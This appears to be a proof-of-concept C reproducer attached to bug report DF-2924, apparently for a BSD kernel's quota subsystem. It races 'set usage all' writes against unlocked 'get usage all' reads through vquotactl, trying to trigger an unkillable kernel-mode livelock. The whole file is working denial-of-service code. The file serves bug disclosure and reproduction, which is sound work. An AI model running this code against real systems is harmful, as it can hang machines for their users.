DF-2924 / vqlivelock.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-2924 proof-of-concept: cmd_get_usage_all() walks the accounting * RB trees WITHOUT holding ac_spin (vfs_quota.c:187/:202) while a * concurrent "set usage all" (or vfs_stdaccount) mutates/rebalances * them under the spinlock (:228-268). RB_NEXT() follows parent * pointers; a concurrent rotation can make the successor chain cycle, * leaving the reading thread spinning forever in kernel mode * (no lock held, never sleeps, unkillable). * * writer: "set usage all" with many distinct uids -> bzero + mass * re-insert (rotations) each call. * reader: "get usage all" in a tight loop. * * Usage: vqlivelock <path> [seconds] * After the timeout, a hung reader shows state R (running) forever and * ignores SIGKILL -> kernel-mode livelock. */ #include <sys/vfs_quota.h> #include <sys/wait.h> #include <libprop/proplib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <time.h> #define NUIDS 4096 static void writer(const char *path) { prop_dictionary_t dict; prop_array_t arr; struct plistref pref; unsigned i; char name[32]; for (;;) { dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "set usage all"); arr = prop_array_create(); for (i = 0; i < NUIDS; i++) { prop_dictionary_t d = prop_dictionary_create(); snprintf(name, sizeof(name), "u%u", i); prop_dictionary_set_uint32(d, "uid", (i * 37) % 0xffffffff); prop_dictionary_set_uint64(d, "space used", i); prop_array_add(arr, d); prop_object_release(d); } prop_dictionary_set(dict, "arguments", arr); prop_object_release(arr); if (prop_dictionary_send_syscall(dict, &pref) == 0) vquotactl(path, &pref); prop_object_release(dict); } _exit(0); } static void reader(const char *path) { prop_dictionary_t dict; struct plistref pref; for (;;) { dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "get usage all"); prop_dictionary_set(dict, "arguments", prop_array_create()); if (prop_dictionary_send_syscall(dict, &pref) == 0) vquotactl(path, &pref); prop_object_release(dict); } _exit(0); } int main(int argc, char **argv) { const char *path; int secs = 60; pid_t wr, rd; time_t t0, tlast; int st; if (argc < 2) { fprintf(stderr, "usage: %s <path> [seconds]\n", argv[0]); return 2; } path = argv[1]; if (argc > 2) secs = atoi(argv[2]); wr = fork(); if (wr == 0) writer(path); rd = fork(); if (rd == 0) reader(path); printf("writer=%d reader=%d, running %d s\n", wr, rd, secs); t0 = tlast = time(NULL); while (time(NULL) - t0 < secs) { sleep(5); /* reader alive and consuming? check its state via kill */ if (kill(rd, 0) != 0) break; } /* time's up: try to kill both */ kill(rd, SIGKILL); kill(wr, SIGKILL); sleep(3); if (waitpid(rd, &st, WNOHANG) == 0) { printf("READER UNKILLABLE: kernel-mode livelock reproduced " "(pid %d ignores SIGKILL)\n", rd); return 1; } waitpid(wr, &st, WNOHANG); printf("no livelock observed this run (reader exited on SIGKILL)\n"); return 0; } |